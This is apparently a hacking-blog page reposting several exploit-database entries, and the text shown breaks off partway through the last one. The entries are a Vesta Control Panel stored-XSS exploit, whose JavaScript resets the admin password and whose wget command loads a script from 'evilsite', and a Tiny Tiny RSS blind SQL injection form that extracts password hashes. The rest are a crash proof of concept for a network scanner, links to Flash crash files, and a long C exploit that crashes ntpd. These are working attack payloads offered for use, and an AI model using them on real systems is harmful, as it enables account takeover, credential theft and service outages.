Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863593581

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title     :Vesta Control Panel <= 0.9.8-15 - Persistent XSS Vulnerability
# Vendor Homepage   :http://www.vestacp.com
# Version           :0.9.8-15
# Exploit Author    :Necmettin COSKUN @babayarisi 
# Blog              :http://ha.cker.io
# Discovery date    :16/02/2016
# Tested on         :Fedora23 - Chrome/Firefox/Maxthon

We can use user-agent information to attack website like this. 
First of all we change our user-agent and add some dangerous javascript code ( XSS etc. ) 
and then we request to one of the website on target server then it is saved on access.log by server 
so when Administrator reads it the javascript code works that we added our user-agent information.

Poc Exploit
================
1.Prepare evil js file 

function csrfWithToken(url,hanimisToken,password){
	$.get(url, function(gelen) {
		$('body').append($(gelen));
		$('form[id="vstobjects"]').css("display","none");
		var token = $(hanimisToken).attr("token");
		$('form[id="vstobjects"]').attr("action",url);
		$('input[name="v_password"]').val(password);	
		$('form[id="vstobjects"]').submit();		
	});
};
//password = 1234567
csrfWithToken("/edit/user/?user=admin","#token","123456");

2. Make a Get request with evil user-agent to victim server
 
wget --header="Accept: text/html" --user-agent="<script src='http://evilsite/evil.js'></script>" http://victimserver
 
3. We wait Administrator to read access.log that injected our evil.js
4. We log-in VestaCP via password we changed
http(s)://victim:8083/
  
  
Discovered by:
================
Necmettin COSKUN  |GrisapkaGuvenlikGrubu|4ewa2getha!
            
Source: https://code.google.com/p/google-security-research/issues/detail?id=633

The attached flv file causes stack corruption when loaded into Flash. To use the PoC, load LoadMP42.swf?file=lownull.flv from a remote server.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39466.zip
            
Source: https://code.google.com/p/google-security-research/issues/detail?id=635

The attached file causes a crash due to a heap overflow, probably due to an issue in ATF processing by the URLStream class.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39465.zip
            
# Exploit Title: Tiny Tiny RSS Blind SQL Injection
# Date: 15-02-2016
# Software Link: http://tt-rss.org/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
 
1. Description
   
$item_id inside process_category_order() is not properly escaped.

We control this value using $_POST['payload'].

http://security.szurek.pl/tiny-tiny-rss-blind-sql-injection.html

2. Proof of Concept

Login as regular user.

<form method="post" action="http://tiny-tiny-rss/backend.php">
    <input type="hidden" name="op" value="pref-feeds">
    <input type="hidden" name="method" value="savefeedorder">
    <textarea name="payload">{"items":[{"items":{"_reference":"CAT:1' AND order_id = (SELECT IF(substr(pwd_hash,1,1) = CHAR(77), SLEEP(5), 0) FROM ttrss_users WHERE id = 1) AND -- "},"id":"root"}]}&lt;/textarea&gt;
    <input type="submit" value="Hack!">
</form>

3. Solution:
   
Update to version a5556c2471973e292dce615fe0c77fdbbc54405b
            
#-*- coding: utf-8 -*-
#
# Exploit Title: Network Scanner Version 4.0.0.0  SEH Crash POC
# POC Dork: N/A
# Date: 2016-02-15
# Author: INSECT.B
#   Twitter : @INSECT.B
#   Facebook : https://www.facebook.com/B.INSECT00
#   Blog : http://binsect00.tistory.com
# Vendor Homepage: http://www.mitec.cz/
# Software Link: http://www.mitec.cz/Downloads/NetScan.zip
# Version: 4.0.0.0
# Tested on: Windows7 Professional SP1 En x86 
# CVE : N/A
 
'''
[+] Type : SEH
[-] Insert the string that compile this file in [TOOLS] Tab 'Detect IP from Host name...' field
[-] string : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÌÌÌÌBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
[-] crash info
(2d0.878): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=42424242 edx=772571cd esi=00000000 edi=00000000
eip=42424242 esp=0012edd8 ebp=0012edf8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210246
42424242 ??              ???

0:000> !exchain
0012edec: ntdll!ExecuteHandler2+3a (772571cd)
0012f534: 42424242
Invalid exception stack at cccccccc

0:000> d 12f534
0012f534  cc cc cc cc 42 42 42 42-43 43 43 43 43 43 43 43  ....BBBBCCCCCCCC
0012f544  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0012f554  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0012f564  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0012f574  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0012f584  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0012f594  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0012f5a4  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0:000> d
0012f5b4  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0012f5c4  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0012f5d4  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
0012f5e4  43 43 43 00 95 b4 31 74-84 f6 12 00 00 00 00 00  CCC...1t........
0012f5f4  0a 80 00 00 ea 01 24 00-00 00 00 00 00 00 00 00  ......$.........
0012f604  ab 00 0a e7 34 f6 12 00-e7 c4 06 77 ea 01 24 00  ....4......w..$.
0012f614  15 02 00 00 00 00 00 00-00 00 00 00 15 02 00 00  ................
0012f624  cd ab ba dc 00 00 00 00-84 f6 12 00 15 02 00 00  ................


'''

import struct

junk1 = "A" * 76
nSEH = "\xcc\xcc\xcc\xcc"
SEH = "BBBB"
shell = "C" * 300

payload = junk1 + nSEH + SEH + shell
with open("netEx.txt","wb") as f :
	f.write(payload)
print payload

"""
Exploit problem

1. Input string(value) was replaced '0x3f' in the memory. then shellcode should be encoded to alpha_mixed.
   Buffer size was 171 bytes. but, encoded shellcode size was over 600 bytes.

2. Null byte cannot be inserted into Input field. so we can't use SEH pointer in a range of NetScanner.exe address (0x00400000~0x008c3000)

3. payload was consisted of  'junk - shellcode - nSEH ptr - SEH ptr'. but this step was fail. because junk buffer size was 76 bytes.
   Can't insert shellcode

"""
            
/*
Ntpd <= ntp-4.2.6p5 ctl_putdata() Buffer Overflow
Author: Marcin Kozlowski <marcinguy@yahoo.com>
Based on: ntpq client from ntp package

Provided for legal security research and testing purposes ONLY

PoC

DoS (Denial of Service) PoC. Will crash NTPd.

You will need to know the KEY ID and MD5 password, for example put this in you ntp.conf

--------------
/etc/ntp.conf
--------------

keys /etc/ntp.keys
trustedkey 1
requestkey 1
controlkey 1


and in /etc/ntp.keys

-------------
/etc/ntp.keys
-------------

1 M 1111111




1 is KEY ID 
1111111 is MD5 password

Hostname and Port is hardcoded in the code. Change it if you want :)

gcc ntpd-exp.c -o ntpd-exp

./ntpd-exp
Keyid: 1
MD5 Password: 
Sending 988 octets
Packet data:
 16 08 00 00 00 00 00 00
 00 00 03 b7 73 65 74 76
 ...
 00 00 00 01 28 05 99 c2
 16 ba a7 b7 8d d3 22 00
 0c f7 6a 5f
Sending 36 octets
Packet data:
 16 02 00 00 00 00 00 00
 00 00 00 01 41 00 00 00
 00 00 00 01 7b a5 e6 6e
 e7 a7 f7 cd 65 8f 1d 5f
 51 92 d0 41

KABOOM Ntpd should crash!!!

GDB output:

Program received signal SIGSEGV, Segmentation fault.
read_variables (rbufp=<optimized out>, restrict_mask=<optimized out>)
    at ntp_control.c:2300
2300				for (i = 0; ext_sys_var &&
(gdb) 




If you want to bypass knowing KEY ID and MD5 Password and execute your payload, read more:

http://googleprojectzero.blogspot.com/2015/01/finding-and-exploiting-ntpd.html


*/

#include <stdio.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/time.h>
#include <stdint.h>
#include <stddef.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h> 


typedef unsigned short associd_t; /* association ID */
typedef uint32_t keyid_t;
typedef int SOCKET;

struct sockaddr_in serverAddr;
socklen_t addr_size;	

#define	CTL_MAX_DATA_LEN	1300
#define	MAX_MAC_LEN	(6 * sizeof(uint32_t))	/* SHA */

#define	MODE_CONTROL	6	/* control mode */

#define CTL_OP_CONFIGURE	8

#define	CTL_OP_READVAR		2

#define	CTL_OP_MASK	0x1f

#define NID_md5	4
#define NTP_MAXKEY	65535


/*
 * Stuff for putting things back into li_vn_mode
 */
#define PKT_LI_VN_MODE(li, vn, md) \
        ((u_char)((((li) << 6) & 0xc0) | (((vn) << 3) & 0x38) | ((md) & 0x7)))

#define F1(x, y, z) (z ^ (x & (y ^ z)))
#define F2(x, y, z) F1(z, x, y)
#define F3(x, y, z) (x ^ y ^ z)
#define F4(x, y, z) (y ^ (x | ~z))

#define MD5STEP(f,w,x,y,z,in,s) \
         (w += f(x,y,z) + in, w = (w<<s | w>>(32-s)) + x)


struct ntp_control {
        u_char li_vn_mode;              /* leap, version, mode */
        u_char r_m_e_op;                /* response, more, error, opcode */
        u_short sequence;               /* sequence number of request */
        u_short status;                 /* status word for association */
        associd_t associd;              /* association ID */
        u_short offset;                 /* offset of this batch of data */
        u_short count;                  /* count of data in this packet */
        u_char data[(1300 + MAX_MAC_LEN)]; /* data + auth */
};

#define	NTP_OLDVERSION	((u_char)1)
u_char pktversion = NTP_OLDVERSION + 1;

#define	CTL_HEADER_LEN		(offsetof(struct ntp_control, data))

/*
 * COUNTOF(array) - size of array in elements
 */
#define COUNTOF(arr)    (sizeof(arr) / sizeof((arr)[0]))



/*
 * Sequence number used for requests.  It is incremented before
 * it is used.
 */
u_short sequence;

/*
 * Flag which indicates we should always send authenticated requests
 */
int always_auth = 0;

/*
 * Keyid used for authenticated requests.  Obtained on the fly.
 */
u_long info_auth_keyid = 0;

static	int	info_auth_keytype = NID_md5;	/* MD5 */
static	size_t	info_auth_hashlen = 16;		/* MD5 */

int debug = 10;

SOCKET sockfd;					/* fd socket is opened on */

char currenthost[256];			/* current host name */

char *progname = "exp";

struct savekey {
        struct savekey *next;
        union {
                u_char MD5_key[64];     /* for keys up to to 512 bits */
        } k;
        keyid_t keyid;          /* key identifier */
        int     type;           /* key type */
        u_short flags;          /* flags that wave */
        u_long lifetime;        /* remaining lifetime */
        int keylen;             /* key length */
};

/*
 * The key cache. We cache the last key we looked at here.
 */
keyid_t cache_keyid;            /* key identifier */
u_char  *cache_key;             /* key pointer */
u_int   cache_keylen;           /* key length */
int     cache_type;             /* key type */
u_short cache_flags;            /* flags that wave */


#define KEY_TRUSTED     0x001   /* this key is trusted */

#define	MEMINC	12	

#define EVP_MAX_MD_SIZE	64

typedef struct {
        uint32_t buf[4];
        uint32_t bytes[2];
        uint32_t in[16];
} isc_md5_t;

/*
 * ntp_md5.h: deal with md5.h headers
 *
 * Use the system MD5 if available, otherwise libisc's.
 */



typedef isc_md5_t             MD5_CTX;
#define MD5Init(c)             isc_md5_init(c)
#define MD5Update(c, p, s)     isc_md5_update(c, p, s)
#define MD5Final(d, c)         isc_md5_final((c), (d)) /* swapped */

/* ssl_init.c */
#ifdef OPENSSL
extern  void    ssl_init                (void);
extern  void    ssl_check_version       (void);
extern  int     ssl_init_done;
#define INIT_SSL()                              \
        do {                                    \
                if (!ssl_init_done)             \
                        ssl_init();             \
        } while (0)
#else   /* !OPENSSL follows */
#define INIT_SSL()              do {} while (0)
#endif

#if defined HAVE_MD5_H && defined HAVE_MD5INIT
# include <md5.h>
#else
  typedef isc_md5_t             MD5_CTX;
# define MD5Init(c)             isc_md5_init(c)
# define MD5Update(c, p, s)     isc_md5_update(c, p, s)
# define MD5Final(d, c)         isc_md5_final((c), (d)) /* swapped */
#endif





/*
 * Provide OpenSSL-alike MD5 API if we're not using OpenSSL
 */

typedef MD5_CTX                       EVP_MD_CTX;
#define EVP_get_digestbynid(t)         NULL
#define EVP_DigestInit(c, dt)          MD5Init(c)
#define EVP_DigestUpdate(c, p, s)      MD5Update(c, p, s)
#define EVP_DigestFinal(c, d, pdl)     \
        do {                            \
                MD5Final((d), (c));     \
                *(pdl) = 16;            \
        } while (0)

                         
/*
 * The hash table. This is indexed by the low order bits of the
 * keyid. We make this fairly big for potentially busy servers.
 */
#define HASHSIZE        64
#define HASHMASK        ((HASHSIZE)-1)
#define KEYHASH(keyid)  ((keyid) & HASHMASK)


#define min(a,b)        (((a) < (b)) ? (a) : (b))


struct savekey *key_hash[HASHSIZE];

u_long authkeynotfound;         /* keys not found */
u_long authkeylookups;          /* calls to lookup keys */
u_long authnumkeys;             /* number of active keys */
u_long authkeyexpired;          /* key lifetime expirations */
u_long authkeyuncached;         /* cache misses */
u_long authnokey;               /* calls to encrypt with no key */
u_long authencryptions;         /* calls to encrypt */
u_long authdecryptions;         /* calls to decrypt */

struct savekey *authfreekeys;

int authnumfreekeys;
u_long current_time;


/*!
 * The core of the MD5 algorithm, this alters an existing MD5 hash to
 * reflect the addition of 16 longwords of new data.  MD5Update blocks
 * the data and converts bytes into longwords for this routine.
 */

void
transform(uint32_t buf[4], uint32_t const in[16]) {
	register uint32_t a, b, c, d;

	a = buf[0];
	b = buf[1];
	c = buf[2];
	d = buf[3];

	MD5STEP(F1, a, b, c, d, in[0] + 0xd76aa478, 7);
	MD5STEP(F1, d, a, b, c, in[1] + 0xe8c7b756, 12);
	MD5STEP(F1, c, d, a, b, in[2] + 0x242070db, 17);
	MD5STEP(F1, b, c, d, a, in[3] + 0xc1bdceee, 22);
	MD5STEP(F1, a, b, c, d, in[4] + 0xf57c0faf, 7);
	MD5STEP(F1, d, a, b, c, in[5] + 0x4787c62a, 12);
	MD5STEP(F1, c, d, a, b, in[6] + 0xa8304613, 17);
	MD5STEP(F1, b, c, d, a, in[7] + 0xfd469501, 22);
	MD5STEP(F1, a, b, c, d, in[8] + 0x698098d8, 7);
	MD5STEP(F1, d, a, b, c, in[9] + 0x8b44f7af, 12);
	MD5STEP(F1, c, d, a, b, in[10] + 0xffff5bb1, 17);
	MD5STEP(F1, b, c, d, a, in[11] + 0x895cd7be, 22);
	MD5STEP(F1, a, b, c, d, in[12] + 0x6b901122, 7);
	MD5STEP(F1, d, a, b, c, in[13] + 0xfd987193, 12);
	MD5STEP(F1, c, d, a, b, in[14] + 0xa679438e, 17);
	MD5STEP(F1, b, c, d, a, in[15] + 0x49b40821, 22);

	MD5STEP(F2, a, b, c, d, in[1] + 0xf61e2562, 5);
	MD5STEP(F2, d, a, b, c, in[6] + 0xc040b340, 9);
	MD5STEP(F2, c, d, a, b, in[11] + 0x265e5a51, 14);
	MD5STEP(F2, b, c, d, a, in[0] + 0xe9b6c7aa, 20);
	MD5STEP(F2, a, b, c, d, in[5] + 0xd62f105d, 5);
	MD5STEP(F2, d, a, b, c, in[10] + 0x02441453, 9);
	MD5STEP(F2, c, d, a, b, in[15] + 0xd8a1e681, 14);
	MD5STEP(F2, b, c, d, a, in[4] + 0xe7d3fbc8, 20);
	MD5STEP(F2, a, b, c, d, in[9] + 0x21e1cde6, 5);
	MD5STEP(F2, d, a, b, c, in[14] + 0xc33707d6, 9);
	MD5STEP(F2, c, d, a, b, in[3] + 0xf4d50d87, 14);
	MD5STEP(F2, b, c, d, a, in[8] + 0x455a14ed, 20);
	MD5STEP(F2, a, b, c, d, in[13] + 0xa9e3e905, 5);
	MD5STEP(F2, d, a, b, c, in[2] + 0xfcefa3f8, 9);
	MD5STEP(F2, c, d, a, b, in[7] + 0x676f02d9, 14);
	MD5STEP(F2, b, c, d, a, in[12] + 0x8d2a4c8a, 20);

	MD5STEP(F3, a, b, c, d, in[5] + 0xfffa3942, 4);
	MD5STEP(F3, d, a, b, c, in[8] + 0x8771f681, 11);
	MD5STEP(F3, c, d, a, b, in[11] + 0x6d9d6122, 16);
	MD5STEP(F3, b, c, d, a, in[14] + 0xfde5380c, 23);
	MD5STEP(F3, a, b, c, d, in[1] + 0xa4beea44, 4);
	MD5STEP(F3, d, a, b, c, in[4] + 0x4bdecfa9, 11);
	MD5STEP(F3, c, d, a, b, in[7] + 0xf6bb4b60, 16);
	MD5STEP(F3, b, c, d, a, in[10] + 0xbebfbc70, 23);
	MD5STEP(F3, a, b, c, d, in[13] + 0x289b7ec6, 4);
	MD5STEP(F3, d, a, b, c, in[0] + 0xeaa127fa, 11);
	MD5STEP(F3, c, d, a, b, in[3] + 0xd4ef3085, 16);
	MD5STEP(F3, b, c, d, a, in[6] + 0x04881d05, 23);
	MD5STEP(F3, a, b, c, d, in[9] + 0xd9d4d039, 4);
	MD5STEP(F3, d, a, b, c, in[12] + 0xe6db99e5, 11);
	MD5STEP(F3, c, d, a, b, in[15] + 0x1fa27cf8, 16);
	MD5STEP(F3, b, c, d, a, in[2] + 0xc4ac5665, 23);

	MD5STEP(F4, a, b, c, d, in[0] + 0xf4292244, 6);
	MD5STEP(F4, d, a, b, c, in[7] + 0x432aff97, 10);
	MD5STEP(F4, c, d, a, b, in[14] + 0xab9423a7, 15);
	MD5STEP(F4, b, c, d, a, in[5] + 0xfc93a039, 21);
	MD5STEP(F4, a, b, c, d, in[12] + 0x655b59c3, 6);
	MD5STEP(F4, d, a, b, c, in[3] + 0x8f0ccc92, 10);
	MD5STEP(F4, c, d, a, b, in[10] + 0xffeff47d, 15);
	MD5STEP(F4, b, c, d, a, in[1] + 0x85845dd1, 21);
	MD5STEP(F4, a, b, c, d, in[8] + 0x6fa87e4f, 6);
	MD5STEP(F4, d, a, b, c, in[15] + 0xfe2ce6e0, 10);
	MD5STEP(F4, c, d, a, b, in[6] + 0xa3014314, 15);
	MD5STEP(F4, b, c, d, a, in[13] + 0x4e0811a1, 21);
	MD5STEP(F4, a, b, c, d, in[4] + 0xf7537e82, 6);
	MD5STEP(F4, d, a, b, c, in[11] + 0xbd3af235, 10);
	MD5STEP(F4, c, d, a, b, in[2] + 0x2ad7d2bb, 15);
	MD5STEP(F4, b, c, d, a, in[9] + 0xeb86d391, 21);

	buf[0] += a;
	buf[1] += b;
	buf[2] += c;
	buf[3] += d;
}

void
byteSwap(uint32_t *buf, unsigned words)
{
        unsigned char *p = (unsigned char *)buf;

        do {
                *buf++ = (uint32_t)((unsigned)p[3] << 8 | p[2]) << 16 |
                        ((unsigned)p[1] << 8 | p[0]);
                p += 4;
        } while (--words);
}


	
/*!
 * Final wrapup - pad to 64-byte boundary with the bit pattern
 * 1 0* (64-bit count of bits processed, MSB-first)
 */
void
isc_md5_final(isc_md5_t *ctx, unsigned char *digest) {
        int count = ctx->bytes[0] & 0x3f;    /* Number of bytes in ctx->in */
        unsigned char *p = (unsigned char *)ctx->in + count;

        /* Set the first char of padding to 0x80.  There is always room. */
        *p++ = 0x80;

        /* Bytes of padding needed to make 56 bytes (-8..55) */
        count = 56 - 1 - count;

        if (count < 0) {        /* Padding forces an extra block */
                memset(p, 0, count + 8);
                byteSwap(ctx->in, 16);
                transform(ctx->buf, ctx->in);
                p = (unsigned char *)ctx->in;
                count = 56;
        }
        memset(p, 0, count);
        byteSwap(ctx->in, 14);

        /* Append length in bits and transform */
        ctx->in[14] = ctx->bytes[0] << 3;
        ctx->in[15] = ctx->bytes[1] << 3 | ctx->bytes[0] >> 29;
        transform(ctx->buf, ctx->in);

        byteSwap(ctx->buf, 4);
        memcpy(digest, ctx->buf, 16);
        memset(ctx, 0, sizeof(isc_md5_t));      /* In case it's sensitive */
}






/*!
 * Update context to reflect the concatenation of another buffer full
 * of bytes.
 */
void
isc_md5_update(isc_md5_t *ctx, const unsigned char *buf, unsigned int len) {
        uint32_t t;

        /* Update byte count */

        t = ctx->bytes[0];
        if ((ctx->bytes[0] = t + len) < t)
                ctx->bytes[1]++;        /* Carry from low to high */

        t = 64 - (t & 0x3f);    /* Space available in ctx->in (at least 1) */
        if (t > len) {
                memcpy((unsigned char *)ctx->in + 64 - t, buf, len);
                return;
        }
        /* First chunk is an odd size */
        memcpy((unsigned char *)ctx->in + 64 - t, buf, t);
        byteSwap(ctx->in, 16);
        transform(ctx->buf, ctx->in);
        buf += t;
        len -= t;

        /* Process data in 64-byte chunks */
        while (len >= 64) {
                memcpy(ctx->in, buf, 64);
                byteSwap(ctx->in, 16);
                transform(ctx->buf, ctx->in);
                buf += 64;
                len -= 64;
        }

        /* Handle any remaining bytes of data. */
        memcpy(ctx->in, buf, len);
}



/*!
 * Start MD5 accumulation.  Set bit count to 0 and buffer to mysterious
 * initialization constants.
 */
void
isc_md5_init(isc_md5_t *ctx) {
        ctx->buf[0] = 0x67452301;
        ctx->buf[1] = 0xefcdab89;
        ctx->buf[2] = 0x98badcfe;
        ctx->buf[3] = 0x10325476;

        ctx->bytes[0] = 0;
        ctx->bytes[1] = 0;
}


/*
 * MD5authencrypt - generate message digest
 *
 * Returns length of MAC including key ID and digest.
 */
int
MD5authencrypt(
        int     type,           /* hash algorithm */
        u_char  *key,           /* key pointer */
        uint32_t *pkt,           /* packet pointer */
        int     length          /* packet length */
        )
{
        u_char  digest[EVP_MAX_MD_SIZE];
        u_int   len;
        EVP_MD_CTX ctx;

        /*
         * Compute digest of key concatenated with packet. Note: the
         * key type and digest type have been verified when the key
         * was creaded.
         */
        INIT_SSL();
        EVP_DigestInit(&ctx, EVP_get_digestbynid(type));
        EVP_DigestUpdate(&ctx, key, (u_int)cache_keylen);
        EVP_DigestUpdate(&ctx, (u_char *)pkt, (u_int)length);
        EVP_DigestFinal(&ctx, digest, &len);
        memmove((u_char *)pkt + length + 4, digest, len);
        return (len + 4);
}




/*
 * authhavekey - return one and cache the key, if known and trusted.
 */
int
authhavekey(
	keyid_t keyno
	)
{
	struct savekey *sk;

	authkeylookups++;
	if (keyno == 0 || keyno == cache_keyid)
		return (1);

	/*
	 * Seach the bin for the key. If found and the key type
	 * is zero, somebody marked it trusted without specifying
	 * a key or key type. In this case consider the key missing.
	 */
	authkeyuncached++;
	sk = key_hash[KEYHASH(keyno)];
	while (sk != NULL) {
		if (keyno == sk->keyid) {
			if (sk->type == 0) {
				authkeynotfound++;
				return (0);
			}
			break;
		}
		sk = sk->next;
	}

	/*
	 * If the key is not found, or if it is found but not trusted,
	 * the key is not considered found.
	 */
	if (sk == NULL) {
		authkeynotfound++;
		return (0);

	}
	if (!(sk->flags & KEY_TRUSTED)) {
		authnokey++;
		return (0);
	}

	/*
	 * The key is found and trusted. Initialize the key cache.
	 */
	cache_keyid = sk->keyid;
	cache_type = sk->type;
	cache_flags = sk->flags;
	cache_key = sk->k.MD5_key;
	cache_keylen = sk->keylen;
	return (1);
}



/*
 * authencrypt - generate message authenticator
 *
 * Returns length of authenticator field, zero if key not found.
 */
int
authencrypt(
        keyid_t keyno,
        uint32_t *pkt,
        int length
        )
{

        /*
         * A zero key identifier means the sender has not verified
         * the last message was correctly authenticated. The MAC
         * consists of a single word with value zero.
         */
        authencryptions++;
        pkt[length / 4] = htonl(keyno);
        if (keyno == 0) {
                return (4);
        }
        if (!authhavekey(keyno))
                return (0);

        return (MD5authencrypt(cache_type, cache_key, pkt, length));
}


/*
 * authtrust - declare a key to be trusted/untrusted
 */
void
authtrust(
	keyid_t keyno,
	u_long trust
	)
{
	struct savekey *sk;

	/*
	 * Search bin for key; if it does not exist and is untrusted,
	 * forget it.
	 */
	sk = key_hash[KEYHASH(keyno)];
	while (sk != 0) {
		if (keyno == sk->keyid)
		    break;

		sk = sk->next;
	}
	if (sk == 0 && !trust)
		return;

	/*
	 * There are two conditions remaining. Either it does not
	 * exist and is to be trusted or it does exist and is or is
	 * not to be trusted.
	 */	
	if (sk != 0) {
		if (cache_keyid == keyno) {
			cache_flags = 0;
			cache_keyid = 0;
		}

		/*
		 * Key exists. If it is to be trusted, say so and
		 * update its lifetime. If not, return it to the
		 * free list.
		 */
		if (trust > 0) {
			sk->flags |= KEY_TRUSTED;
			if (trust > 1)
				sk->lifetime = current_time + trust;
			else
				sk->lifetime = 0;
			return;
		}
		sk->flags &= ~KEY_TRUSTED; {
			struct savekey *skp;

			skp = key_hash[KEYHASH(keyno)];
			if (skp == sk) {
				key_hash[KEYHASH(keyno)] = sk->next;
			} else {
				while (skp->next != sk)
				    skp = skp->next;
				skp->next = sk->next;
			}
			authnumkeys--;

			sk->next = authfreekeys;
			authfreekeys = sk;
			authnumfreekeys++;
		}
		return;
	}

	/*
	 * Here there is not key, but the key is to be trusted. There
	 * seems to be a disconnect here. Here we allocate a new key,
	 * but do not specify a key type, key or key length.
	 */ 
	if (authnumfreekeys == 0)
	    if (auth_moremem() == 0)
		return;

	sk = authfreekeys;
	authfreekeys = sk->next;
	authnumfreekeys--;
	sk->keyid = keyno;
	sk->type = 0;
	sk->keylen = 0;
	sk->flags = KEY_TRUSTED;
	sk->next = key_hash[KEYHASH(keyno)];
	key_hash[KEYHASH(keyno)] = sk;
	authnumkeys++;
	return;
}




/*
 * auth_moremem - get some more free key structures
 */
int
auth_moremem(void)
{
        struct savekey *sk;
        int i;

        sk = (struct savekey *)calloc(MEMINC, sizeof(struct savekey));
        if (sk == 0)
                return (0);

        for (i = MEMINC; i > 0; i--) {
                sk->next = authfreekeys;
                authfreekeys = sk++;
        }
        authnumfreekeys += MEMINC;
        return (authnumfreekeys);
}


void
MD5auth_setkey(
	keyid_t keyno,
	int	keytype,
	const u_char *key,
	const int len
	)
{
	struct savekey *sk;
	
	/*
	 * See if we already have the key.  If so just stick in the
	 * new value.
	 */
	sk = key_hash[KEYHASH(keyno)];
	while (sk != NULL) {
		if (keyno == sk->keyid) {
			sk->type = keytype;
			sk->keylen = min(len, sizeof(sk->k.MD5_key));
#ifndef DISABLE_BUG1243_FIX
			memcpy(sk->k.MD5_key, key, sk->keylen);
#else
			strncpy((char *)sk->k.MD5_key, (const char *)key,
			    sizeof(sk->k.MD5_key));
#endif
			if (cache_keyid == keyno) {
				cache_flags = 0;
				cache_keyid = 0;
			}
			return;
		}
		sk = sk->next;
	}

	/*
	 * Need to allocate new structure.  Do it.
	 */
	if (0 == authnumfreekeys && !auth_moremem())
		return;

	sk = authfreekeys;
	authfreekeys = sk->next;
	authnumfreekeys--;

	sk->keyid = keyno;
	sk->type = keytype;
	sk->flags = 0;
	sk->lifetime = 0;
	sk->keylen = min(len, sizeof(sk->k.MD5_key));
#ifndef DISABLE_BUG1243_FIX
	memcpy(sk->k.MD5_key, key, sk->keylen);
#else
	strncpy((char *)sk->k.MD5_key, (const char *)key,
	    sizeof(sk->k.MD5_key));
#endif
	sk->next = key_hash[KEYHASH(keyno)];
	key_hash[KEYHASH(keyno)] = sk;
#ifdef DEBUG
	if (debug > 1) {
		char	hex[] = "0123456789abcdef";
		int	j;

		printf("auth_setkey: key %d type %d len %d ", sk->keyid,
		    sk->type, sk->keylen);
		for (j = 0; j < sk->keylen; j++)
				printf("%c%c", hex[key[j] >> 4],
				    hex[key[j] & 0xf]);
		printf("\n");
	}	
#endif
	authnumkeys++;
}


/*
 * Types of ascii representations for keys.  "Standard" means a 64 bit
 * hex number in NBS format, i.e. with the low order bit of each byte
 * a parity bit.  "NTP" means a 64 bit key in NTP format, with the
 * high order bit of each byte a parity bit.  "Ascii" means a 1-to-8
 * character string whose ascii representation is used as the key.
 */
int
authusekey(
        keyid_t keyno,
        int keytype,
        const u_char *str
        )
{
        const u_char *cp;
        int len;

        cp = str;
        len = strlen((const char *)cp);
        if (len == 0)
                return 0;

        MD5auth_setkey(keyno, keytype, str, (int)strlen((const char *)str));
        return 1;
}


/*
 * keytype_name         returns OpenSSL short name for digest by NID.
 *
 * Used by ntpq and ntpdc keytype()
 */
const char *
keytype_name(
        int nid
        )
{
        static const char unknown_type[] = "(unknown key type)";
        const char *name;

#ifdef OPENSSL
        INIT_SSL();
        name = OBJ_nid2sn(nid);
        if (NULL == name)
                name = unknown_type;
#else   /* !OPENSSL follows */
        if (NID_md5 == nid)
                name = "MD5";
        else
                name = unknown_type;
#endif
        return name;
}


/*
 * getpass_keytype() -- shared between ntpq and ntpdc, only vaguely
 *                      related to the rest of ssl_init.c.
 */
char *
getpass_keytype(
        int     keytype
        )
{
        char    pass_prompt[64 + 11 + 1]; /* 11 for " Password: " */

        snprintf(pass_prompt, sizeof(pass_prompt),
                 "%.64s Password: ", keytype_name(keytype));

        return getpass(pass_prompt);
}


int
authistrusted(
        keyid_t keyno
        )
{
        struct savekey *sk;

        if (keyno == cache_keyid)
            return ((cache_flags & KEY_TRUSTED) != 0);

        authkeyuncached++;
        sk = key_hash[KEYHASH(keyno)];
        while (sk != 0) {
                if (keyno == sk->keyid)
                    break;
                sk = sk->next;
        }
        if (sk == 0) {
                authkeynotfound++;
                return (0);

        } else if (!(sk->flags & KEY_TRUSTED)) {
                authkeynotfound++;
                return (0);
        }
